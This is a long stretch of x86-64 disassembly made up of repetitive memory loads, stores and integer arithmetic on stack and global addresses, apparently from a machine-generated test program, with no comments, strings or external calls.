lea rax, [rsp + 0x1098]
mov qword [0x14017adb8], rax
lea rax, [0x14017902c]
mov qword [rsp + 0xb048], rax
movsx eax, byte [rsp + 0x101]
movsx ecx, byte [rsp + 0x18a]
and eax, ecx
mov rcx, qword [rsp + 0x77f8]
mov byte [rcx], al
movsx eax, byte [rsp + 0xc0]
mov rcx, qword [rsp + 0x8a50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x23c], al
lea rax, [0x14017a758]
mov qword [rsp + 0xb050], rax
mov rax, qword [rsp + 0xa5d8]
mov rcx, qword [rsp + 0xa638]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7198]
mov qword [rcx], rax
mov eax, dword [rsp + 0x42f4]
mov dword [rsp + 0x4400], eax
mov rax, qword [rsp + 0x7c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7480]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7aa0]
mov ecx, dword [rsp + 0x3e4c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x43c0], eax
movzx eax, byte [rsp + 0x102]
mov rcx, qword [0x14017a5a0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140179062], al
movzx eax, word [rsp + 0x1178]
mov word [rsp + 0x142c], ax
movsx eax, byte [rsp + 0x8d]
movsx ecx, byte [rsp + 0xf1]
sar eax, cl
mov byte [rsp + 0xbe], al
mov rax, qword [rsp + 0x8d30]
movzx eax, word [rax]
mov word [rsp + 0x1430], ax
movzx eax, byte [rsp + 0x194]
movzx ecx, byte [rsp + 0xfb]
xor eax, ecx
mov byte [rsp + 0x117], al
mov rax, qword [rsp + 0xad80]
mov qword [rsp + 0xb058], rax
mov eax, dword [rsp + 0x3fd4]
mov ecx, dword [rsp + 0x4190]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fe0], eax
mov rax, qword [rsp + 0xa840]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7ea0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7160]
mov rax, qword [rax]
mov qword [rsp + 0xb060], rax
movsx eax, byte [rsp + 0xb2]
movsx ecx, byte [rsp + 0x221]
sub eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0xa6e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6b98]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017ab20]
mov byte [rcx], al
mov rax, qword [rsp + 0x7e40]
movzx eax, word [rax]
mov word [rsp + 0x1434], ax
movzx eax, word [rsp + 0xd30]
mov rcx, qword [0x14017a998]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xddc], ax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x195]
add eax, ecx
mov rcx, qword [rsp + 0x7018]
mov byte [rcx], al
lea rax, [rsp + 0x3c3c]
mov qword [rsp + 0xb068], rax
mov rax, qword [rsp + 0x8a68]
mov rcx, qword [rsp + 0xaa70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4000], eax
lea rax, [rsp + 0x7f88]
mov qword [rsp + 0xb070], rax
mov rax, qword [rsp + 0x8928]
mov rcx, qword [rsp + 0x9f98]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa6c0], rax
movsx eax, word [rsp + 0xf0c]
movsx ecx, word [0x14017912c]
add eax, ecx
mov word [rsp + 0xebc], ax
lea rax, [rsp + 0x1ee]
mov qword [0x14017adc0], rax
mov rax, qword [rsp + 0x6fd0]
movzx eax, byte [rax]
mov byte [rsp + 0x24c], al
movzx eax, word [rsp + 0x11ac]
movzx ecx, word [0x14017a698]
cdq
idiv ecx
mov word [rsp + 0xf20], ax
mov rax, qword [rsp + 0x9458]
movzx eax, byte [rax]
mov byte [rsp + 0x24d], al
mov rax, qword [rsp + 0x84d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4138]
shl eax, cl
mov rcx, qword [rsp + 0x90f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ed4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x42b0], eax
mov rax, qword [rsp + 0xa8b0]
mov rax, qword [rax]
mov qword [rsp + 0xb078], rax
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9fa8]
mov qword [rsp + 0xb080], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb080]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7fe0], rax
movzx eax, word [rsp + 0xce8]
mov word [rsp + 0x1438], ax
movzx eax, byte [0x14017902e]
movzx ecx, byte [rsp + 0x129]
xor eax, ecx
mov byte [0x14017904b], al
movsx eax, word [rsp + 0x1238]
mov rcx, qword [rsp + 0xb020]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf10], ax
lea rax, [rsp + 0xd40]
mov qword [rsp + 0xb088], rax
movzx eax, word [rsp + 0x12f0]
mov rcx, qword [rsp + 0xaa28]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6d90]
mov word [rcx], ax
mov rax, qword [rsp + 0x6de8]
mov rcx, qword [rsp + 0x9cf8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7c28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8220]
mov qword [rsp + 0xb090], rax
mov rax, qword [rsp + 0x73d8]
mov ecx, dword [rsp + 0x3e5c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7c70]
mov dword [rcx], eax
lea rax, [rsp + 0x43ec]
mov qword [rsp + 0xb098], rax
movsx eax, word [rsp + 0x13c8]
movsx ecx, word [rsp + 0xca0]
sub eax, ecx
mov word [rsp + 0xe34], ax
movsx eax, byte [rsp + 0x10c]
mov rcx, qword [rsp + 0xa4c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401790e6], al
movzx eax, word [rsp + 0x12e8]
movzx ecx, word [rsp + 0xff0]
add eax, ecx
mov word [rsp + 0x11dc], ax
mov rax, qword [0x14017ad18]
movzx eax, byte [rax]
mov byte [rsp + 0x24e], al
movzx eax, byte [rsp + 0x16b]
mov rcx, qword [rsp + 0xa690]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8600]
mov byte [rcx], al
lea rax, [rsp + 0x1e3]
mov qword [rsp + 0xb0a0], rax
mov eax, dword [0x14017a4d0]
mov ecx, dword [rsp + 0x3ce8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ca0], eax
mov rax, qword [rsp + 0x9a68]
mov rcx, qword [rsp + 0x7648]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7210]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9460]
mov rax, qword [rax]
mov qword [rsp + 0xb0a8], rax
mov rax, qword [rsp + 0x8e20]
mov eax, dword [rax]
mov rcx, qword [0x14017a4d8]
mov qword [rsp + 0xb0b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb0b0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xaa10]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1274]
mov rcx, qword [rsp + 0x94e0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14017adb0]
mov word [rcx], ax
movzx eax, word [rsp + 0xea0]
mov word [rsp + 0x143c], ax
movsx eax, byte [rsp + 0x128]
mov rcx, qword [rsp + 0x8740]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa600]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1de]
mov byte [rsp + 0x24f], al
movzx eax, word [rsp + 0x12ac]
movzx ecx, word [rsp + 0x1334]
xor eax, ecx
mov rcx, qword [rsp + 0x98c8]
mov word [rcx], ax
mov eax, dword [rsp + 0x41fc]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6d80]
mov qword [rsp + 0xb0b8], rax
mov rax, qword [rsp + 0x9db8]
mov ecx, dword [rsp + 0x3e88]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f34], eax
mov rax, qword [rsp + 0xa238]
mov qword [rsp + 0xb0c0], rax
mov rax, qword [rsp + 0xa6e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xab80]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401790e7], al
movsx eax, byte [rsp + 0x20a]
mov rcx, qword [rsp + 0x8978]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7da0]
mov byte [rcx], al
movsx eax, word [rsp + 0x12a8]
movsx ecx, word [rsp + 0x10ec]
add eax, ecx
mov word [rsp + 0x1094], ax
mov rax, qword [rsp + 0xa010]
movzx eax, byte [rax]
mov byte [rsp + 0x250], al
movsx eax, word [rsp + 0xc08]
movsx ecx, word [0x1401791a0]
sub eax, ecx
mov word [rsp + 0x1164], ax
mov eax, dword [rsp + 0x3d08]
mov dword [rsp + 0x4404], eax
mov rax, qword [rsp + 0x90b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x72b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa550]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7ca0]
mov rcx, qword [rsp + 0x96a0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8df0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7710]
mov eax, dword [rax]
mov dword [rsp + 0x4408], eax
mov rax, qword [rsp + 0x7b00]
movzx eax, word [rax]
mov word [0x14017adc8], ax
mov rax, qword [rsp + 0xa090]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x118]
add eax, ecx
mov byte [rsp + 0x18e], al
lea rax, [rsp + 0xd84]
mov qword [rsp + 0xb0c8], rax
mov rax, qword [rsp + 0xad30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xacd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1154], ax
mov rax, qword [rsp + 0x9d00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8688]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7cf0]
mov byte [rcx], al
lea rax, [rsp + 0x6c30]
mov qword [rsp + 0xb0d0], rax
mov rax, qword [rsp + 0x84f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7ef8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7b68], rax
mov rax, qword [rsp + 0x8c68]
mov eax, dword [rax]
mov dword [rsp + 0x440c], eax
mov eax, dword [rsp + 0x40a8]
mov ecx, dword [0x140179004]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa848]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb018]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x14017ad70]
mov byte [rcx], al
movzx eax, word [rsp + 0x1200]
mov word [rsp + 0x1440], ax
movsx eax, word [0x14017ad68]
mov rcx, qword [rsp + 0x9d78]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1084], ax
mov rax, qword [rsp + 0x9c60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7650]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xd7], al
movzx eax, byte [rsp + 0x21c]
mov byte [rsp + 0x251], al
mov rax, qword [rsp + 0x9e00]
mov rcx, qword [rsp + 0xa270]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7d50]
mov dword [rcx], eax
lea rax, [rsp + 0x7430]
mov qword [rsp + 0xb0d8], rax
mov rax, qword [rsp + 0x9b48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fb8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7098]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8020]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8a08], rax
mov rax, qword [rsp + 0x86f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d80]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140179194], ax
movzx eax, byte [0x14017902a]
mov byte [rsp + 0x252], al
movzx eax, word [rsp + 0x123c]
movzx ecx, word [rsp + 0xef0]
sub eax, ecx
mov word [rsp + 0x13a4], ax
movzx eax, byte [rsp + 0x223]
mov byte [rsp + 0x253], al
movsx eax, word [rsp + 0x110c]
movsx ecx, word [rsp + 0x1058]
add eax, ecx
mov rcx, qword [rsp + 0xa998]
mov word [rcx], ax
mov rax, qword [rsp + 0x7380]
mov rcx, qword [rsp + 0x8538]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x95f8], rax
lea rax, [rsp + 0x3dac]
mov qword [rsp + 0xb0e0], rax
mov rax, qword [rsp + 0x8728]
mov rcx, qword [rsp + 0x7610]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x80c0]
mov qword [rcx], rax
lea rax, [rsp + 0x41bc]
mov qword [rsp + 0xb0e8], rax
lea rax, [rsp + 0xd04]
mov qword [0x14017add0], rax
movzx eax, word [rsp + 0x137c]
movzx ecx, word [rsp + 0xe7c]
sar eax, cl
mov rcx, qword [rsp + 0x7228]
mov word [rcx], ax
mov rax, qword [rsp + 0xa580]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7528]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9898]
mov word [rcx], ax
mov rax, qword [rsp + 0x8a50]
movzx eax, byte [rax]
mov byte [rsp + 0x254], al
movzx eax, byte [rsp + 0x1e4]
movzx ecx, byte [0x140179043]
xor eax, ecx
mov rcx, qword [rsp + 0x7640]
mov byte [rcx], al
lea rax, [rsp + 0x9fe0]
mov qword [rsp + 0xb0f0], rax
mov rax, qword [rsp + 0x7930]
mov rcx, qword [rsp + 0xac08]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xabe0], rax
lea rax, [rsp + 0x3be8]
mov qword [rsp + 0xb0f8], rax
mov rax, qword [rsp + 0x9958]
mov rcx, qword [rsp + 0x8318]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x72d0]
mov dword [rcx], eax
lea rax, [rsp + 0x188]
mov qword [0x14017add8], rax
mov rax, qword [rsp + 0xa2f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x70f0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7c78]
mov word [rcx], ax
lea rax, [rsp + 0x15f]
mov qword [rsp + 0xb100], rax
movzx eax, byte [rsp + 0xd1]
movzx ecx, byte [rsp + 0x1bf]
sub eax, ecx
mov byte [rsp + 0xb6], al
movzx eax, word [rsp + 0xe88]
mov word [rsp + 0x1444], ax
mov rax, qword [rsp + 0x8708]
mov rcx, qword [rsp + 0x6ed0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8878]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c30]
mov ecx, dword [rsp + 0x3c84]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3df8], eax
mov rax, qword [rsp + 0x9950]
mov rax, qword [rax]
mov qword [rsp + 0xb108], rax
mov eax, dword [rsp + 0x3f34]
mov ecx, dword [0x14017a4d0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e80], eax
lea rax, [rsp + 0x53]
mov qword [rsp + 0xb110], rax
mov rax, qword [rsp + 0xa578]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8438]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140179058], ax
mov rax, qword [rsp + 0x9ed0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6d90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x123c], ax
mov rax, qword [rsp + 0x78a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a1]
add eax, ecx
mov byte [rsp + 0x1ed], al
mov rax, qword [rsp + 0x7940]
movzx eax, word [rax]
mov word [rsp + 0x1448], ax
mov rax, qword [rsp + 0x73b0]
mov rcx, qword [rsp + 0x88b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9fe0], rax
mov rax, qword [rsp + 0x89d8]
mov rax, qword [rax]
mov qword [rsp + 0xb118], rax
mov eax, dword [rsp + 0x3d4c]
mov rcx, qword [rsp + 0x7a48]
mov qword [rsp + 0xb120], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb120]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x75c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4328]
mov dword [rsp + 0x4410], eax
movzx eax, byte [rsp + 0xe3]
mov rcx, qword [rsp + 0xaf98]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x192], al
lea rax, [rsp + 0xd9c]
mov qword [0x14017ade0], rax
movsx eax, byte [rsp + 0x1be]
mov rcx, qword [rsp + 0xa368]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x11e], al
lea rax, [rsp + 0xfc0]
mov qword [rsp + 0xb128], rax
mov rax, qword [rsp + 0xaaf0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x236]
xor eax, ecx
mov byte [rsp + 0x239], al
mov rax, qword [rsp + 0x9140]
mov qword [rsp + 0xb130], rax
mov rax, qword [rsp + 0x80f0]
mov rcx, qword [rsp + 0x8008]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8e88]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3f44]
mov ecx, dword [rsp + 0x3c48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41a4], eax
lea rax, section..data
mov qword [rsp + 0xb138], rax
movsx eax, word [rsp + 0x1298]
mov rcx, qword [rsp + 0x88e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdd4], ax
mov rax, qword [rsp + 0x99f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa928]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a6e0]
mov byte [rcx], al
movzx eax, byte [0x14017903b]
mov byte [rsp + 0x255], al
movzx eax, word [rsp + 0xc7c]
mov rcx, qword [rsp + 0xa3f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1284], ax
mov rax, qword [rsp + 0x7c98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xea4]
sub eax, ecx
mov rcx, qword [rsp + 0xa6d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xab38]
mov qword [rsp + 0xb140], rax
mov rax, qword [rsp + 0xa8c0]
mov rcx, qword [rsp + 0x8578]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3e28], eax
lea rax, [rsp + 0x9eb8]
mov qword [rsp + 0xb148], rax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x4008]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9610]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1240]
movzx ecx, word [rsp + 0xd84]
add eax, ecx
mov word [rsp + 0x1218], ax
mov rax, qword [rsp + 0x9fa0]
movsx eax, byte [rax]
mov rcx, qword [0x14017ad18]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401790ea], al
lea rax, [rsp + 0x12e4]
mov qword [rsp + 0xb150], rax
movzx eax, byte [rsp + 0x122]
mov rcx, qword [rsp + 0xab60]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa6e8]
mov byte [rcx], al
lea rax, [rsp + 0x151]
mov qword [rsp + 0xb158], rax
movzx eax, byte [rsp + 0x185]
mov rcx, qword [rsp + 0x8428]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x199], al
mov eax, dword [rsp + 0x3cb4]
mov dword [rsp + 0x4414], eax
mov rax, qword [rsp + 0x9120]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6d58]
shr rax, cl
mov rcx, qword [rsp + 0xad70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x73a8]
mov ecx, dword [rsp + 0x4048]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3ebc], eax
mov rax, qword [rsp + 0x8b68]
mov rax, qword [rax]
mov qword [rsp + 0xb160], rax
movsx eax, word [rsp + 0x12a0]
movsx ecx, word [rsp + 0x13d4]
and eax, ecx
mov word [0x140179068], ax
mov rax, qword [rsp + 0xa970]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a6]
sub eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d98]
movzx eax, word [rax]
mov word [rsp + 0x144c], ax
mov rax, qword [rsp + 0x7640]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x71d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7880]
mov byte [rcx], al
mov rax, qword [rsp + 0x7a90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xedc]
sub eax, ecx
mov word [rsp + 0xdec], ax
mov rax, qword [rsp + 0x8fd8]
mov rax, qword [rax]
mov qword [rsp + 0xb168], rax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0xadf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a38], rax
mov rax, qword [rsp + 0x83f8]
mov eax, dword [rax]
mov dword [rsp + 0x4418], eax
mov rax, qword [rsp + 0x7fd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43ac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f40]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1010]
movsx ecx, word [rsp + 0xf34]
sub eax, ecx
mov rcx, qword [0x14017aa58]
mov word [rcx], ax
movsx eax, word [rsp + 0x1238]
movsx ecx, word [rsp + 0x121c]
and eax, ecx
mov word [rsp + 0x1178], ax
mov rax, qword [rsp + 0xac28]
movzx eax, byte [rax]
mov byte [rsp + 0x256], al
movsx eax, byte [0x14017a586]
mov rcx, qword [rsp + 0x8250]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x168], al
lea rax, [rsp + 0x235]
mov qword [rsp + 0xb170], rax
mov rax, qword [rsp + 0x82c0]
mov rcx, qword [rsp + 0x7090]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xac48], rax
mov eax, dword [0x14017a4d0]
mov dword [rsp + 0x441c], eax
mov rax, qword [rsp + 0xa8a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8a60]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8778], rax
mov eax, dword [rsp + 0x42e8]
mov rcx, qword [rsp + 0x79c8]
mov qword [rsp + 0xb178], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb178]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3d8c], eax
lea rax, [rsp + 0xc84]
mov qword [0x14017ade8], rax
mov rax, qword [rsp + 0x8da8]
movzx eax, word [rax]
mov word [rsp + 0x1450], ax
movsx eax, byte [rsp + 0xbc]
mov rcx, qword [rsp + 0x75d8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7c08]
mov byte [rcx], al
lea rax, [rsp + 0xcb]
mov qword [rsp + 0xb180], rax
movzx eax, word [rsp + 0x12c0]
mov rcx, qword [rsp + 0xacd0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11b4], ax
mov rax, qword [rsp + 0xa0c0]
mov ecx, dword [rsp + 0x42d0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3cc4], eax
mov rax, qword [rsp + 0xabe0]
mov qword [rsp + 0xb188], rax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0xa150]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4294], eax
lea rax, [rsp + 0xb160]
mov qword [rsp + 0xb190], rax
mov rax, qword [rsp + 0xa370]
movzx eax, byte [rax]
mov rcx, qword [0x14017a4f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401790c7], al
mov rax, qword [rsp + 0x7770]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcc4]
sub eax, ecx
mov word [rsp + 0xf5c], ax
mov rax, qword [rsp + 0x7a90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9938]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7ab0]
mov word [rcx], ax
lea rax, [rsp + 0xc9]
mov qword [rsp + 0xb198], rax
mov rax, qword [rsp + 0x8108]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd0c]
add eax, ecx
mov rcx, qword [rsp + 0x7248]
mov word [rcx], ax
mov eax, dword [rsp + 0x42ec]
mov dword [rsp + 0x4420], eax
mov rax, qword [rsp + 0x9950]
mov rcx, qword [rsp + 0x6a50]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6e48], rax
mov rax, qword [rsp + 0x9bd0]
mov ecx, dword [rsp + 0x3fa4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c64], eax
lea rax, [rsp + 0x7678]
mov qword [rsp + 0xb1a0], rax
lea rax, [rsp + 0x14d]
mov qword [0x14017adf0], rax
mov rax, qword [rsp + 0x89f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6c28]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x14a], al
movzx eax, word [rsp + 0xc94]
mov word [rsp + 0x1454], ax
mov rax, qword [rsp + 0x6f28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7ef0]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x9f28]
mov word [rcx], ax
lea rax, [rsp + 0x10a]
mov qword [rsp + 0xb1a8], rax
mov eax, dword [rsp + 0x3ca0]
mov rcx, qword [rsp + 0x9400]
mov qword [rsp + 0xb1b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb1b0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3c24], eax
mov rax, qword [rsp + 0xa668]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8220]
shr rax, cl
mov qword [rsp + 0x8908], rax
lea rax, [rsp + 0xa6a8]
mov qword [rsp + 0xb1b8], rax
mov rax, qword [rsp + 0x7710]
mov ecx, dword [rsp + 0x3ff0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9bd0]
mov dword [rcx], eax
lea rax, [rsp + 0xea4]
mov qword [0x14017adf8], rax
lea rax, [0x14017a4fe]
mov qword [rsp + 0xb1c0], rax
movsx eax, byte [rsp + 0x7f]
movsx ecx, byte [rsp + 0xc4]
or eax, ecx
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0x6bd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9c98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x130c], ax
lea rax, [0x14017acf0]
mov qword [rsp + 0xb1c8], rax
mov rax, qword [rsp + 0xa668]
mov rcx, qword [rsp + 0xb0a8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8800], rax
lea rax, [rsp + 0x3f9c]
mov qword [rsp + 0xb1d0], rax
mov rax, qword [rsp + 0x8300]
mov rcx, qword [rsp + 0x7690]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xaad8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9730]
mov ecx, dword [rsp + 0x3f50]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6b00]
mov dword [rcx], eax
movzx eax, word [rsp + 0xe6c]
movzx ecx, word [rsp + 0xefc]
sub eax, ecx
mov word [0x14017a8d8], ax
mov rax, qword [rsp + 0xa4f8]
movzx eax, word [rax]
mov word [rsp + 0x1458], ax
movsx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0x8610]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8d], al
mov rax, qword [rsp + 0x7320]
movzx eax, byte [rax]
mov byte [rsp + 0x257], al
mov rax, qword [rsp + 0x95c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x196]
add eax, ecx
mov rcx, qword [rsp + 0x8468]
mov byte [rcx], al
mov rax, qword [rsp + 0x9900]
mov rcx, qword [rsp + 0x73c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9448], rax
mov rax, qword [rsp + 0xac70]
mov qword [rsp + 0xb1d8], rax
mov rax, qword [rsp + 0x85a0]
mov eax, dword [rax]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f28], eax
lea rax, [rsp + 0x3e20]
mov qword [rsp + 0xb1e0], rax
movzx eax, word [rsp + 0xecc]
movzx ecx, word [rsp + 0xcdc]
sub eax, ecx
mov rcx, qword [rsp + 0xa000]
mov word [rcx], ax
movzx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0xa210]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017a55a], al
